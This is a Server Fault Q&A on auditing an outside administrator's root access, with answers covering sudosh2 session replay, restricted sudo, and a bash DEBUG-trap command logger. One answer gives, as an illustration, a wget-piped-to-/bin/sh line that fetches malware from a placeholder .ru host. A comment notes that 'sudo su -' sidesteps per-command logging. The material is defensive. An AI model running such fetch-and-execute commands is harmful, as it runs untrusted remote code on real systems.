Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

I want to give access to my root server to an external system administrator, but i want to be sure to double check what he is doing to my server, e.g. copying data i don't want them to do and so on. I would also like to take a track of whatever file is accessed, even in read only and not edited.

How can i do that?

share|improve this question
1  
See this related question: serverfault.com/questions/181131/… ? –  Stefan Lasiewski Apr 10 '12 at 22:36
add comment

3 Answers

up vote 20 down vote accepted

Trust, but verify!

Check out sudosh2. sudosh2 is provided by FreeBSD ports. Packages are available for RedHat and Ubuntu. Here is the description from their website:

sudosh is an auditing shell filter and can be used as a login shell. Sudosh records all keystrokes and output and can play back the session as just like a VCR.

Sudosh will allow you to replay the user's session, which will allow you to see all input and output as the user saw it. You see everything, keystrokes, typos, backspaces, what did they edit in vi, the output of wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, etc.

It's possible to send sudosh logs to syslog, so that they can be stored on a central syslog server away from the system.

Note that sudosh2 is a replacement for sudosh, which was abandoned by it's author

Do you work at an academic institution where users insist on having superuser privledges? Or do you work at a corporation and want to allow users to have superuser privileges on their own VMs? This might be the solution for you.

share|improve this answer
1  
Excellent - I previously hadn't heard of sudosh. –  EEAA Apr 10 '12 at 23:13
2  
What's this 'VCR' you speak of? –  Tom Marthenal Apr 16 '12 at 9:12
2  
It's like an 8-track, but you get to record your own television shows! –  Stefan Lasiewski Apr 16 '12 at 17:11
add comment

Don't give him root access. Instead, give him an un-privileged user account and request that he do all of his work through sudo, which will log all of his commands.

Keep in mind that if this person has ill intentions and you give him full sudo privileges, he will find a way to carry out those ill intentions without those commands being logged. In this case, only grant him access to the specific commands he needs to do his job.

share|improve this answer
    
i want to make it as hard as possible without making my life a pain. Thanks for the answer. –  cedivad Apr 10 '12 at 22:35
    
You can just run sudo su - and have a root shell that won't be logged (except that you started it). This is what I normally type when I want to do more than a single command as root in one go, or if I want tab completion in directories normal users can't read. –  rjmunro Apr 11 '12 at 23:53
    
@rjmunro - Which is exactly why I issued the caveat of only giving him the specific access he needs. You can explicitly forbid sudo su - if desired. –  EEAA Apr 12 '12 at 0:22
add comment

I'm not familiar with sudosh2, but I put the following in my .bashrc to log all the commands I type in a bash shell to the file ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

The above sets a trap on DEBUG, which is executed just before an ordinary command is executed. The caller built-in is used to test whether the command is being typed at an interactive shell or run via something like .bashrc. The value ${BASH_COMMAND} contains the command currently being executed.

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.